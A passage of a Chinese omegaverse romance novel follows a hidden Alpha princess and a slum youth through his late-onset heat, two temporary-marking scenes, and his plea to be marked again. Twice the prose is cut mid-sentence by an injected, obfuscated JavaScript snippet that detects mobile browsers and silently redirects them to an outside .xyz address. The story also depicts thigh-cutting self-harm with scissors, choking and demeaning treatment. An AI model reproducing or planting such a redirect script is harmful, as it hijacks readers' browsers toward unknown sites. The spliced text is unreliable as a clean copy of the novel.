江意衡垂下视线。 他平常安分守己,如今人都已烧得昏昏沉沉,半边袖子还浸在热水里,却比任何时候都依赖她。 就像现在,他正拽着她的袖子,像一条刚蜕皮的小蛇,一下一下抬起指尖,想要勾住她的手指。 江意衡冷着脸,又去探他的体温。 手指还未抵达他的额头,少年却不自知地张开唇瓣,温软舌尖几乎是下意识地滑过她的指腹。 她蓦地顿住。 那台仪器,并不是出了故障。 是他自己,诱发了安抚剂的释放。 名为简星沉的少年,正在经历一场迟来的分化。 11. 第 11 章 对任何人而言,分化都是人生大事。 由于腺体短时间内大量分泌信息素,身体会经历剧烈变化,暂时变得虚弱。 而Alpha和Omega如果得不到及时安抚,则会高烧不退,严重时危及生命。 因此,帝国早在建立初期就研发出多种抑制剂,可以提前压制腺体活性。 简星沉直到成年后才分化,信息素在体内爆发,沉寂了十九年的身体只会更难接受这种突变。 而他发作时的高热也明显比常人更加凶险,已经影响他的日常行动。 唯一庆幸的是,Omega发情时不会像Alpha在易感期那样具有攻击性,还算容易控制。 江意衡熟悉他屋子里的每个角落,清楚他没有任何抑制剂。 偏偏眼下是夜半时分,要在这人生地不熟的贫民窟揪出一个懂行的医生,并不现实。 少年明明连起身都没力气,半个身子却不自觉地挨着她。 江意衡从未在他面前透露过自己是Alpha,加上抑制剂对她的保护,她只能把这种情况解释为他身体的本能。 他在本能地想要依靠什么。 简星沉平日里总是过分拘谨,连目光都习惯躲闪,可在体内信息素的激荡之下,矜持的防线已经彻底冲垮。 他微微战栗时,被汗浸湿的发丝无意识地蹭着她的手,身上的热度透过肌肤传来。 哪怕江意衡退开,受信息素驱使的少年仍是不依不饶往她脚边靠近。 他泛红的鼻尖轻轻蹭过她的小腿,让她隐隐有些不耐。 她觉得,自己有必要给他彻底降个温。 帝国军中有一项公认残酷的考验,是将易感期临近的Alpha丢进冰水中。 其依据是通过物理降温,减少信息素影响。 军队不招收Omega,江意衡没亲眼见过Omega通过考验。 但理论上,这对发情期的Omega也管用。 她接了半桶自来水,手指试过温度,冰凉透彻。 接着,她托住少年的肩膀,把他丢进盛着凉水的泡澡桶里。 落水瞬间,简星沉好像被人刺了一刀那样,扣紧齿关,露出痛苦的表情。 冰冷的水像无数细针,密密麻麻扎进他的皮肉里。 他冻得直哆嗦,手指费力地扒住桶沿,本能地想翻出去,却被江意衡按住肩膀。 “知不知道你现在怎么了?” 简星沉恍惚摇着头。 他不知道自己怎么了,他只记得自己在垃圾回收场碰到了什么,然后就烧得意识不清。 江意衡刚才的语气冷冰冰的,他唯恐自己又惹她不高兴,近乎求饶:“对不起,我,我再吃一点药,一定能退烧,一定能好的。” 江意衡低头看着他那双烧到迷蒙的眼睛,冷声道:“你吃再多退烧药,也退不了烧。” “为什么?”简星沉蓦地慌了。 难道是退烧药过期了,还是他烧得太严重,好不了了? 他顶着潮湿的头发和睫毛,僵硬的手指勾住桶沿,几次三番想爬起来,却又根本支撑不住自己。 “因为你发情了。” 江意衡冷眼俯视他,语气更是毫无温度,“泡冷水,只能延缓你的高热,不能解决你的问题。” 发情。 这个词,对简星沉来说,既陌生又遥远。 听闻发情是Omega才会经历的事情,可贫民窟里没听说有Omega,他知道的所有人都是Beta。 他不明白发情的意味,只觉得,这不可能发生在自己身上。 “我怎么会发情……我明明,连腺体都没长出来。” “是吗?” 江意衡一手探上他的后颈,指尖凉意落在他全身最敏感的部位,旋即绕着圈轻轻滑动。 简星沉惊恐地察觉,那里,不知何时隆起一小块软肉。 但还不止于此。 江意衡指尖的动作带来奇异的电流,一瞬间经过他的四肢百骸。 仿佛在火上炙烤,又同时接受冰水洗礼,身体里有两股截然相反的感觉剧烈冲撞,让他游走在崩溃的边缘。 他根本无力抗拒什么,就听到自己喉咙里逸出一声细弱又滑腻的轻吟。 简星沉几乎是惊恐地捂住了嘴巴。 那怎么可能是他的声音。 他怎么可以发出那样的声音。 “你也感觉到了。” 江意衡语气笃定,“那就是你的腺体。你可能不记得,在我把你泡进水里之前,你一个劲地往我身上蹭,粘人得很。” 她说得轻描淡写,简星沉脑中却立刻闪过可怕的画面。 那是他的唇瓣触及她的指腹,舌尖近乎贪婪地在上面勾出一丝涎液。 他紧闭双眼,不愿相信那是自己所为:“不行,我,我要怎么才能退烧?要怎么才能正常?” 江意衡发出一声轻笑。 “一针抑制剂下去就能立竿见影。虽然你已经进入发情期,效果不会很理想,但它也依然是首选。” 简星沉甚至都没在贫民窟的黑市上见过抑制剂:“那是什么?” 江意衡没有回答他的问题。 “如果没有抑制剂,那就只有这样了。” 她用手比了个上膛的姿势,指尖在他的腺体上轻轻一点,“让Alpha咬在你的腺体上,注入信息素,缓解你的发情期。这叫临时标记。” 简星沉半张着唇,默然望着她。 他从未问过江意衡是ABO当中的哪种性别,从前他未分化,别人的第二性别对他并不重要。 即便她是Alpha,他也不敢奢求她能帮他。 “临时标记的Alpha可以是任何Alpha,甚至不需要是你认识的人。” 江意衡的话,令他的心跌落冰点。 简星沉盯着自己泛白的指节,用力摇头。 他不希望一个陌生Alpha咬在自己的腺体上。 “反正现在也不方便找人。你还有时间,可以再想。” 江意衡丢下这句话,转身回到床边。 简星沉缓缓松开手指,目光放空。 心里的失落,让他暂时忘了水的凉意,想要逃离的生存本能也淡了。 他其实应该感谢这桶凉水,不止浸没他的肌骨,更泼进他心底。 虽然发着烧,他却比任何时候都要清醒。 一颗生长在阴影里苟延残喘的小草,本来就不该乞求太多温度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790842|174944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 江意衡早上起来,简星沉还泡在桶里。 他毕竟是发烧不是昏迷,她以为只要他清醒一点,就会回到他自己的被窝里休息。 却没想过,他会在冷水里泡一整晚。 “出来。” 她说话时,不由有些厌恶他的懦弱。 要是他死了,她可不会替他收尸。 简星沉好像没听到她的话,只是坐在水里,脊背僵硬,脸上因为高热生出的红晕如今只余下惨白。 他抱着身体瑟瑟发抖,连鼻尖都在颤动。 江意衡想拉他出来,偏偏瞥到水里有一丝刺眼的红色蔓延开来。 血。 她旋即掰开他的手,他的掌心干净,什么都没有。 接着她又分开他紧闭的膝盖,一眼就看到,少年冷白的大腿内侧,却有几道醒目的伤口。 江意衡很确定,他身上昨天还没有这些痕迹:“你这伤,怎么来的?” 少年颤抖着交叠手臂盖住大腿:“我,我不小心,磕到的。” 桶上没有任何锐角,江意衡扫过屋子,一眼在水池下找到那把带血的剪刀。 她提起剪刀在他眼前晃了晃:“不小心?” 少年的视线越过剪刀,仰头看着她,好半晌,也没再说话。 几小时前,时钟指向凌晨一点,他确实感觉,自己的高烧因为泡冷水有所缓解。 可离开泡澡桶还不到半小时,那种缠绕在意识中的冲动又卷土重来。 掀开薄被的瞬间,他立刻察觉到身上异样。 贴身衣物早已湿透,上面不只有汗,还有……别的痕迹。 他几乎是惊慌失措地为自己换了衣服。 身体背叛了他,他不能接受那样的自己,也没法继续忍耐。 他好怕,怕自己会在江意衡面前出丑,怕她看到自己最肮脏的一面,更怕她从此不再看他一眼。 他的指甲陷进头皮,不断抓挠,急得发疯。 直到他不小心撞到桌角,一瞬间的疼痛,才勉强令他平静了片刻。 桌角的钝痛效果并不持久。 他转而寻求更加锋利的东西。 简星沉知道这样不对,可他不知道该怎么停下。 他以为,她不会注意到。 可眼下,他的手被江意衡扣住,无法再遮住那一道道狰狞的伤口。 她脸上的表情阴晴莫辨,垂下目光时,让他隐约觉得,好像风雨欲来前的片刻安宁。 江意衡看着他,忍不住生出冷笑的冲动。 他喜欢挨打,她不拦着。 他喜欢吃苦,她也随他。 说到底,这都是他的事情,只要不波及她,怎样都可以。 可他总是自作主张。 自作主张地把她带回这个家。 自作主张地讨好她。 自作主张地以为,她会放任他,在她眼皮底下这样折磨自己。 如果他真的这么喜欢折磨自己,那不如让她来动手。 至少她有分寸,不会在他身上留下那么多难看的痕迹。 江意衡举起他的手,却弯腰靠近他耳边,指尖划过他的腺体。 “你要是喜欢疼,我可以满足你。” 12. 第 12 章 简星沉不知道江意衡想做什么。 难道,她打算用这把剪刀破坏他的腺体? 还是,比那更糟糕的事情? 不待他再揣测什么,江意衡的指尖已经离开他的后颈。 剪刀落地发出一声轻响,而她伸手抬起他的下巴,视线反复扫过他的脸。 另一只手拨开他额前的碎发,指腹摩挲他的额头。 简星沉不知怎么想起,自己曾经低价收了一批别人不要的芋头,逐一剥皮,挖掉所有黑色斑块,只要确认没发芽,就拿去下锅。 江意衡现在的姿态,俨然是在检查一颗芋头好不好,能不能下锅。 可如果她要惩罚他,何必在乎他好不好。 他不自觉地撇开视线,江意衡旋即更用力地扣住他的下巴,指尖在他柔软的颊上按出两个涡。 她迫使他看着她,不容许他分心。 “我没那么来者不拒。就算只是临时标记,我也要确保,你没有让我特别讨厌的地方。” 话语落入简星沉耳中,激起一圈又一圈涟漪。 临时标记? 她要标记他? 不,不对…… 她真的是Alpha? 思绪在脑中揉成一团,简星沉犹豫着嚅动唇瓣:“你不会,嫌弃我吗?” “有关系吗?”江意衡掀起唇角。 她并不喜欢这种选择,但这确实是最省事的方法,“你已经很麻烦了。” 简星沉垂下眼睫。 他很清楚,江意衡并不是同情他。 她只是讨厌他发情的样子,所以才想通过临时标记摆平问题。 如果可以选,他宁愿自己没有分化,没有发情。 至少那样,他不会成为她的麻烦。 “把自己擦干净。” 江意衡松开他的下巴,起身走向床边。 简星沉扶着桶沿,明明已经没有多少力气,但仍是绷住一口气,慢吞吞地爬出来。 他捡起地上的毯子裹住身体,擦干水汽,又换上干净衣服。 可他的头发和面颊上,还余着冷水的温度。 江意衡只是伸指一碰,就像被冻到一样皱了皱眉。 她耐心等待,直到他身上的冷意退去,属于发情期的高热重新透过双颊散发出来。 “这会有一点痛。”她近乎贴心地提醒他。 少年坐在床头,面朝灰墙,能感觉到江意衡正倾身靠近他。 她额前的发丝很柔软,她呼出的气息像微风。 可她指尖扣在他肩上的力道却不小,好像生怕他会跑掉。 简星沉知道皮肤裂开会疼。 但他没想过,腺体被咬,不单是皮肉裂开的疼。 那与他经受过的一切都不同,他几乎瞬间明白,为什么江意衡要扣住他的肩膀。 因为在她齿尖刺穿他腺体的第一毫秒,剧痛就紧紧攥住了他,身体更是本能地想要逃离。 他能感觉到手脚骤凉,冷汗渗出,呼吸先是骤止,接着变得急促。 手指抠在墙上,把墙灰都刮下一片,稀稀拉拉落在地上,白得刺眼。 他能听到所有动静,包括血液在身体里流动的细节,都被放大了。 明明张开了唇齿,却发不出声音。 明明闭起了双眼,痛苦却无孔不入,侵蚀他的意识。 他的灵魂仿佛被钉死在腺体上。 无论他如何挣扎,也始终无法摆脱。 为什么。 为什么Omega要有这样的弱点。 简星沉咬紧牙关,感到自己像砧板上的一条鱼,苟延残喘,被人剜去鳞片,剖开肚腹。 他真的,不会痛死吗? 时间变得如此漫长,他并不知道,这一切都发生在短短数秒之间。 当他几乎以为,自己马上就要痛晕过去的时候,却恍惚察觉到某种变化。 那是一道浓重如墨的红,在他意识的深海中骤然绽开。 好像有人在他的痛苦上加了一道闸,那种煎熬忽然变得轻盈,裂解成无数细碎的刺麻感,周而复始地涌动,掀起浪潮一样的韵律。 察觉到自己就要发出呻吟的时候,他隔着袖子,狠狠咬住了自己的胳膊。 也不知过了多久,简星沉终于感到肩上桎梏一松。 他狼狈地用手扒住墙,气息紊乱地回首望去。 江意衡早已起身走到窗边,抱着手臂背对他,好像并不关心他的死活。 简星沉撑着墙,徐徐起身, 经过江意衡身旁时,她侧目问他:“你不再坐一会?” 简星沉摇头,视线不经意间顿住。 江意衡的唇上仍沾着一抹本该属于他的血迹,衬着她冰冷的轮廓,既危险,又无端相合。 她抬眉时,他才意识到自己的目光有些逾越,侧过脸小声道:“你嘴上,有血。” 江意衡伸指从唇上拂过,对着指尖看了看,才淡淡“噢”了一声:“是有一点。” 她不以为然地在衣角上拭过手指,那动作跟拭去手上沾到的水珠没什么分别,转而去拉他的衣领:“让我看看。” 简星沉本能地向后躲开:“我没事,不疼的。” 江意衡平静道:“我只想看看,要不要包扎。” 少年垂头站定,两手缩进袖子,默然等待她的检查。 江意衡拉开他的衣领。 一丝嫣红的血正从他颈后的腺体上蜿蜒滑落,经过他的肩胛骨,没入他的衣衫,异样绮丽。 他不再试图靠近,显然已经恢复了平日的温顺模样。 这说明,她的信息素起到了应有的安抚作用。 “临时标记很成功。” 江意衡肯定道,“只要你听话,我不会为难你。” 简星沉点点头,安静地绕过她,回到地铺躺下。 可他根本就睡不好。 虽然临时标记已经结束,但他的后颈始终徘徊着浪潮过后的余韵,一波一波沿着脊椎蔓延,一刻不停,让他指尖发麻。 他勉强躺到正午,就重新爬了起来。 身上的高热已经退去,额头摸着只感觉到一点凉意。 才这么短时间,腺体上的伤口来不及愈合,他小心试探时,指尖仍有鲜血的洇痕。 简星沉默不作声给自己贴上涂有药膏的纱布,裹上围巾,披衣往外走。 “你要出门?” 江意衡叫住他,“可你刚经历临时标记。” 简星沉脚步一顿。 他其实听得出,江意衡并不是真的在担心什么,这更像是一种礼貌的问候。 可他只是听着她的声音,心脏就止不住地急速跳动,身体自发战栗的感觉令他惶恐,拉开门把的动作近乎心虚:“我,我去弄吃的。” 江意衡觉得他有点太着急了:“营养液和压缩饼干还有两天的余量。” “没关系。”少年摸着后脑,“我好多了,已经。” 他回头挤笑的样子几乎有些僵硬,却还是尽力把话说得体面:“今天,谢谢你。要不是因为你在,我可能,就烧坏了。” 江意衡不置可否地弯起唇角。 “东西,我还得多囤一点。” 简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790843|174944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星沉定定道,“昨天已经耽搁了一天,我不能再耽搁下去。” 少年微弓着背,蹬走三轮车,身影渐渐远去。 江意衡伫在门后,没有挽留。 * 简星沉打算再去电子仪器回收场碰碰运气。 只要足够细心,他总能捡到好东西。 即便冒着接触毒素或污染物的风险,也值得。 路上,他遇到几个拾荒者。 他们一见到他,就朝他挥动双臂,直到他刹住车。 “你要去第九回收场?” 他点点头:“怎么了?” “安全署封了整个回收场,说是调查危险品泄露。我们几个才刚靠近,全被轰走了。哎,这大冷天,还得绕路……” 分别后,简星沉没有立刻掉头。 他按原路又骑了半小时,直到前方出现一排路障,红黄警示牌上赫然写着“禁区”两个大字。 简星沉仰首望去。 回收场的上空,笼罩着天网一样的巨大紫色阴影。 这是帝国封控区域的手段。 货运飞船每次倾倒垃圾时,场上都会短暂封锁一小块区域。 但像这样大的规模,他还是第一次遇到。 简星沉只好临时放弃去淘仪器的念头,掉转车头,赶往他更常光顾的那处垃圾场。 只是没想到,石彪也在那里。 “这不是小垃圾吗?几天没见,还以为你入土了呢。” 石彪斜靠在一棵枯树下,嘴里叼着草,比往常更加吊儿郎当,“钱攒得怎么样了?别忘了,我说三个月,就是三个月。” 简星沉抓紧车把手:“我已经在努力攒了,你别太过分。” 石彪呸地一口吐出草茎,歪嘴笑了:“就你这低眉顺眼的穷酸样,把整个F区的垃圾堆翻遍,也捡不到什么好东西。还不如学学老子。” 他从兜里掏出一张薄薄的六角形蓝色卡片,在少年眼前晃了晃:“认得这是什么吗?” 简星沉不认得,也不关心,只把三轮车在边上停稳。 石彪龇了龇牙,三两步又把蓝色卡片怼到少年近前:“这可是一张储蓄芯片,里面的钱够我换一家五口人大半年的物资。你就不想知道,我是怎么搞到手的?” “你偷什么,跟我没关系。”简星沉下车,提起蛇皮袋,绕过他。 “谁说老子是偷的?” 石彪恼羞成怒,一脚拦在少年前面,“这是外区的大人物特意赏给我的!” 简星沉转身,又一次无视他。 石彪张开胳膊横在路中,偏不让他走。 “昨天有人找我打听一个人,说是中心区的重点监控对象。他们问得贼细,连说话的语气都要核对。” 简星沉本不该想到江意衡先前的玩笑。 可此时,那句话却悄然从他脑海中浮起。 石彪瞅了他一眼,见他神色微变,便嗤笑着偏过头:“老子最见不得有人窝藏在老子的地盘上,一不小心,就把知道的细节全抖出去了。” 简星沉明明不想怕的。 可石彪的眼神、语气,甚至指尖轻弹芯片的挑衅动作,都让他的恐惧愈发清晰。 寒意攀上脊背,他的手指不由在蛇皮袋上勒紧。 可他无从确认,石彪口中被出卖的人,到底是不是她。 地上的白色塑料袋被风卷起,在他眼前打转。 简星沉几乎思绪凝滞的瞬间,石彪忽然捏着储蓄芯片,往他肩上慢慢敲了敲。 小混混眯着眼,笑容满怀恶意:“你就不好奇,我到底卖了谁的底细?” 16-20 第16章 求你,标记我 简星沉想要说什么,思绪却仿佛冻僵。 他只能茫然抬起视线,回应她的目光。 “这么冷。”江意衡语声更沉,“为什么不进屋?” 进屋? 他不在屋里吗? 简星沉不记得自己怎么回到家的,也不记得自己在门外等了多久。 他只记得自己去找她,但一直找不到她。 而现在,江意衡重新出现在他面前,像露出云层的太阳,将覆在他身上的冰雪融化。 他想告诉她,他在等她,他一直在等她。 他并不怕冷,他只怕等不到她。 唇瓣翕动,喉咙却因干涩黏在一起,他无法发出一个完整的字音,只能吐出微弱的气流。 江意衡沉默着端详他。 少年身上落满了雪,连睫毛也不例外。 脸上露出的皮肤已经没有血色,嘴唇甚至发紫。 唯有通红的鼻子还在不断呼出微弱的白雾。 即便如此,他还是缓缓摇头,否认自己觉得冷。 看起来,已经失去对冷暖的感知。 江意衡收回指尖,转而扣住他的脸,想质问他这么做的理由。 为什么一个什么都没有的人,却会为了一个随时可能消失的人,而险些把自己冻死。 她不会怜惜一只蝼蚁,也不会在意一个无足轻重的人。 然而少年却温驯地合上眼,像是感觉不到她指尖的力度,脸庞顺着她掌心的弧度,来回浅浅地蹭。 她的手于他而言,如火一样温暖,仿佛只要这样,就等同于得到她的安抚。 幸好,她没有走远。 幸好,他等到了她。 感到满足的瞬间,简星沉失去了意识。 * 不到十五平的狭小出租屋内原本寒冷难耐,眼下却变得温暖宜人。 室内空间笼罩在一层极淡的金色力场中,只有当手指触到边界时,才能察觉出构成力场的细微脉络。 角落的架子顶上,悬浮着拳头大小的球形装置。 无人接触时,它会自动借助环境色伪装自身。 这是陆怀峰从军用摩托上卸下的其中一台恒温力场生成仪,能将直径五米内的区域维持在恒定温度。 此时此刻,简星沉正躺在床上昏睡。 他腿上的伤已经包扎过,身上盖着毯子和薄被,脸色也在恒温力场的作用下缓缓恢复。 江意衡站在窗前,陆怀峰守在窗侧。 屋内难得塞下三个人,却保持着无人言语的死寂。 陆怀峰看着窗台,终于忍不住开口:“殿下这次回来,总不会是为了这个吧?” 他指的,是那块早已冷却的烤红薯。 江意衡的视线在红薯上停了一秒,又透过爬满霜雪的小窗,望向远处:“这很重要吗?” “这确实轮不到属下过问。” 陆怀峰低头看了一眼手腕,又恭敬道,“现在已经晚上十一点了。闵执行长为您提供的安全屋离此地有一小时车程,您该出发了。” 江意衡轻笑:“我什么时候说过,今晚要住那儿了?” “您难道还要在这里留宿吗?”陆怀峰错愕。 这屋子简陋至极。 尽管有恒温力场维持温度,但风刮过窗外和屋顶时,仍不断发出可怖声响,屋内又堆满杂乱物品…… 更何况,床上还躺着一个半死不活的病人。 陆怀峰的责任感迫使他发声:“恕我直言,留宿在这种环境,与您的身份并不相符。” “可我更不喜欢被一群保镖看着。” 江意衡伸手在窗上划过,“你觉得,闵涛会冒险把一栋空无一人的宅邸借给我三天?我需要的,不是更大更漂亮的屋子,而是一个能让我安静思考的空间。” 简星沉的住处,无疑就满足这种条件。 陆怀峰无法反驳,只是呈上备用通讯器:“那您打算动身的时候,随时联络属下。” 他脸上的表情虽然恭敬,但眉间肉眼可见地皱成了“川”字,显然对此忧心忡忡。 江意衡接过通讯器,唇角轻扬:“陆队长,你还年轻。再这么一脸苦相,可是会显老的。” 她偏过视线望向床上的人,语气变得平静:“我受他庇佑了几日,总不能不告而别。等我理清思绪,就会离开这里。” 摩托车载着近卫队长的身影疾驰而去,尾灯很快淹没在风雪中。 江意衡随手扔掉干硬的烤红薯,发现床边的搪瓷水杯已经见底,需要加水。 她拎起杯子才走出两步,身后突然传来一声闷响。 简星沉不知何时掀开了被毯,整个人摔在地上。 他蜷着身体,手在粗糙的水泥地面上艰难抠着,模样狼狈到了极点。 “醒了?” 江意衡居高临下地俯视着地上的人,没有打算扶他起来的意思。 简星沉费了半天劲,只勉强抬起一张透着虚汗的脸,头发丝还带着雪化后的湿意。 “我以为,你要走。” 江意衡哼了一声:“我要是走了,你打算就这么爬出去?” 简星沉垂下脸,手指在地上握紧又展开,表情看不分明,声音低得却好像要沉到土里。 “我不想,一个人。” 江意衡俯身,习以为常地探过他额头的温度:“你只是还没熬过发情期的高热而已。” 简星沉僵住动作。 他有那么多话想跟她说,关于欣喜,关于感动,关于失而复得…… 可她一句轻描淡写的“发情期”,就直接给他判了死刑。 “是我低估了你发情期的严重程度。你分化太晚,身体很难适应腺体的突然活跃,连带着影响到临时标记的安抚效果。你应该感谢外面的低温,才没让你露出更难堪的样子。” 江意衡的声音比雪还冷,每一个字音落进他耳朵里,都好像是一团冰渣掉进他心里,让他在黑暗中下坠得更深、更远。 简星沉伏在地上,有些迟钝地想着,自己果然是个先天不足的人。 他这副样子,一定很讨她嫌弃。 这时,他却看到眼前的地面上,现出一条细长的投影。 简星沉抬起视线。 一根纤细的玻璃针管正端在江意衡指间。 她严谨仔细地用手指弹着针管,并小心推出一点针剂,排去气泡。 这画面十足冰冷。 直觉告诉他,她要对他做的,是一件可怕的事情。 江意衡注意到他畏缩的目光:“你的腺体还没长好,还是直接来一针抑制剂更安全。” 抑制剂。 简星沉记得这个东西。 无法得到Alpha安抚的Omega,可以借助抑制剂来压制发情期的痛苦。 这是他第一次亲眼见到这种产品,干净、清透,静静地躺在针管里。 他本就发着烧,身体回暖后,体温一直攀升。 即便是再平常的目光,经由高温渲染,也不可避免地沾上了一丝迷离意味。 少年泛着红晕的脸颊,配上微微出神的目光,使他整个人看起来分外懵懂。 好像无论她对他做什么,他都只会保持恍惚的神情,听凭她处置。 江意衡拨开他颈后的柔软发丝,揭开覆在他腺体上的纱布。 腺体忽然失去遮蔽,颈后袭来寒意,简星沉不自觉地绷住身体。 那只泛凉的指尖点过他的腺体,更让他克制不住地感到紧张。 江意衡仿佛是为了平复他的情绪,口中轻嘘一声:“很快的。” “不会疼吗?”他蜷紧了手指,问得小心翼翼。 “只会有一点麻。这是帝国研发的高端产品,效果稳定,没什么好担心的。” 江意衡张开五指,按住少年纤细修长的脖颈,“这一针下去,你就不会再烧起来,不会再蹭我的手,不会再神志不清地问我是不是又要走。” 针管向着她两指间那处齿痕未消的腺体徐徐靠近。 然而针尖才刚触及他柔软的皮肉,少年就以惊人的力量挣开她的桎梏,扬起的手从针管上挥过。 嘭! 应着玻璃炸响的声音,江意衡在墙边看到碎裂成渣的针管残片。 原本盛在其中的抑制剂洇湿了地面,留下一道凄楚的痕迹。 她盯着抑制剂的遗骸,愣了足足五秒。 回过神时,指尖用力扼住少年的下巴。 “你疯了?” 发情热虽然是Omega的生理本能,但如果得不到及时有效的安抚,引发的持续高热足以造成多器官衰竭,就连大脑也会受到无法逆转的永久损坏。 江意衡将他的脸用力撇开,正要抄起一边的通讯器,动作却被绊住。 少年的一只手正牢牢揪住她的衣角,另一边手肘撑住身体,一点一点从地上爬了过来。 江意衡怔怔看着他手上的血,显然是刚才摔碎针管的时候被划到了。 他没有察觉到,自己正在她雪白的衣角上留下斑驳的红色印记,只是近乎哀求地摇着头,还努力抬高脸庞,烧红的眼尾被涌出的泪花浸湿。 “我,我不想要抑制剂。” 怒火沿着脊椎爬上江意衡的头顶,她能感觉到自己脸上透出的热意在燃烧:“我看你是不想活了。” 贫民窟环境恶劣,平均寿命远低于其他区,许多人年纪轻轻就在生活摧残下,凋亡得悄无声息。 但这些与她并没有关系。 父亲将她视作需要约束的不稳定因素,对她所在的F区施行高压管控,她会生气。 母亲把年仅四岁的她留在王宫,转身不告而别,她也会生气。 与他们相比,简星沉又算得了什么。 她凭什么要为了一个自顾不暇的穷小子生气。 “你觉得我会在乎你的死活?” 江意衡扣住他的脖子,指尖加重力气,直到他开始因为呼吸困难面色发青,她才猝不及防地松开手。 “随你。” 她将信封收起,抄起通讯器,冷着脸按下第一个键,就听到少年带着哭腔的声音。 “我只是,我只是……” 他烧得难受,声音也虚弱得不像自己。 可他比任何时候都清楚,自己到底想要什么。 他想要江意衡留下,但又清楚那不过是他的一厢情愿。 江意衡不是他这个世界的人,若不是因为她受了伤,需要照顾,他本来一辈子也不可能遇到她。 可他仍会奢望。 他想要她再垂眸看他一眼,想要她的脚步为他停留片刻,想被她触摸,想被她的呼吸拂过耳畔,想要她的气息留在他的皮肤上,想要她的一部分永远融入他的骨血里。 想要的东西太多太多,他也觉得,自己贪心得可怕。 他不知道这是因为什么,前十九年的人生中,他从没有过这样的欲念。 是因为发情期吗? 如果是因为发情期,那他宁可这一切不会结束。 如果不是因为发情期……他又能怎么样呢。 他不介意被误会,只要能靠近她一点,再靠近她一点就好。 “我不需要你在乎我。” 少年用染血的手掌把自己从地上一点点撑起,用尽全身力气,唇齿间却只能发出喑哑的声音。 “我只求你,标记我。” 这绝不是江意衡第一次听到有人求她。 身为王储,她见过太多请求,其中有贪婪的,有畏缩的,也有恳切的。 可她从没见到有人会像简星沉这样,把自尊落进尘埃里,用近乎绝望的语气,邀请她来践踏自己。 “知道你现在看起来像什么?” 江意衡感到齿尖扣在唇角,怒与躁在血液里交织,“像一条乞食的狗。” 少年于怔忪之中缓缓抬起面容。 凌乱额发之下,露出的眼瞳早已被泪水侵袭。 高温灼烧下的唇瓣微张着,却发不出声音。 他当然知道他像什么。 他也知道,自己在乞求的是什么。 但他不能承认那种东西,因为他几乎可以肯定,那不是江意衡乐意施舍给他的东西。 所以,他宁愿被误会,宁可被当成一条乞食、甚至发情的狗。 至少这样,他还有靠近她的余地。 少年的沉默,证实了江意衡的猜测。 他无非是以自己的发情期为筹码,借助这种自轻自贱的举动,道德绑架她。 “你想要标记,是吗?” 她一手绕去他背后,托住他的后颈,把他的脸向自己拉近。 若是有旁人看着,这画面,俨然是一对情人在交颈。 江意衡斜过目光,打量着少年仍未从上次临时标记痊愈的腺体。 那上面的齿痕如此清晰,她甚至记得鲜血是怎样从伤口往下蜿蜒滑落,没入他的衣领。 “我为什么要给你标记?上一次我有心情,不代表这一次我也有心情。” 他提出请求,她没有满足的义务。 不过是这样简单的道理而已。 江意衡能感觉到手指下的肌肤是如何在战栗,有温热的液体落在她的颈边。 她想,简星沉一定是在哭,为着他如此卑劣的请求得不到回应,而感到分外羞耻。 他只是被烧得太难受,所求不过是从中解脱而已。 可她,本就无需替任何人的苦难背负责任。 他应该怪他自己,生不逢时,分化得更不是时候。 如果她没有出现在这里,他恐怕早就在高温中丧失性命。 江意衡几乎要被这些念头说服了。 可当她离开他的耳边,手指从他后颈两侧松开的瞬间,她闻到了一缕本不该存在于这里的花香。 是茉莉。 与她记忆中,毫无二致的香气。 她顿住动作。 这香气,正从她近处的少年颈后蔓延,轻且缓地萦绕在她的鼻尖。 可他怎么会散发这样的气息? 帝国研究表明,一个人信息素的气味与其自身经历密切相关。 简星沉在贫民窟生活了十九年,F区贫瘠的土壤上,开不出什么像样的花朵,更别提茉莉。 他唯一能接触到茉莉的途径,是她当时带上飞船、随她一并坠落的花枝。 而且,他还把残存的花瓣夹在那本书里。 他可以骗人。 谁都可以骗人。 但身体不会,本能不会。 少年试图掩藏的东西太过炙热。 他的谎言相比之下,脆弱得可怜。 一个人嘴上说着,自己只是屈从于身体欲望。 可他的信息素却是她最喜欢的花香,这是江意衡唯一无法抵抗的气味。 他到底是多想要再靠近她一点,竟然连潜意识都在本能地讨好她,让这副单薄的身体散发出她喜欢的气味。 有那么一瞬间,江意衡的意识出现了空白。 她当然没必要戳穿他的谎言,除了他自己,没人会在乎他的借口。 只要再给予他一次临时标记,就能轻而易举地结束他的高热。 可一想到,有朝一日,或许有另一个Alpha闻到他身上的茉莉花香,她的脑海中就仿佛有风暴肆虐而过。 这是独属于她的气味。 而他亦然。 她不在乎他的死活。 但他即便是死,也合该只属于她。 这一刻,江意衡原本打算撤回的手指,重新在少年的后颈扣紧。 她靠近他的耳畔,呼出的气息将他鬓边的碎发轻轻拂动。 “知不知道自己闻起来像什么?” 不是询问的口气,而是早已笃定的反问。 简星沉不确定该怎么回答她。 没有人能闻到自己身上的信息素,他也不例外。 上一次临时标记,江意衡对他的信息素只字未提。 他本以为,那不过是像他本人一样,索然无趣的气息。 可如今,江意衡的呼吸撩过他敏感的耳际,他忽然不敢确定,她这样问他,是不是在故意为难他。 他诚实地想要摇头,脖颈却被江意衡的手指锁住,一瞬间的缺氧窒息,让他从喉咙里不自觉地逸出一声低吟。 江意衡改变主意了? 她打算……第二次给他临时标记? 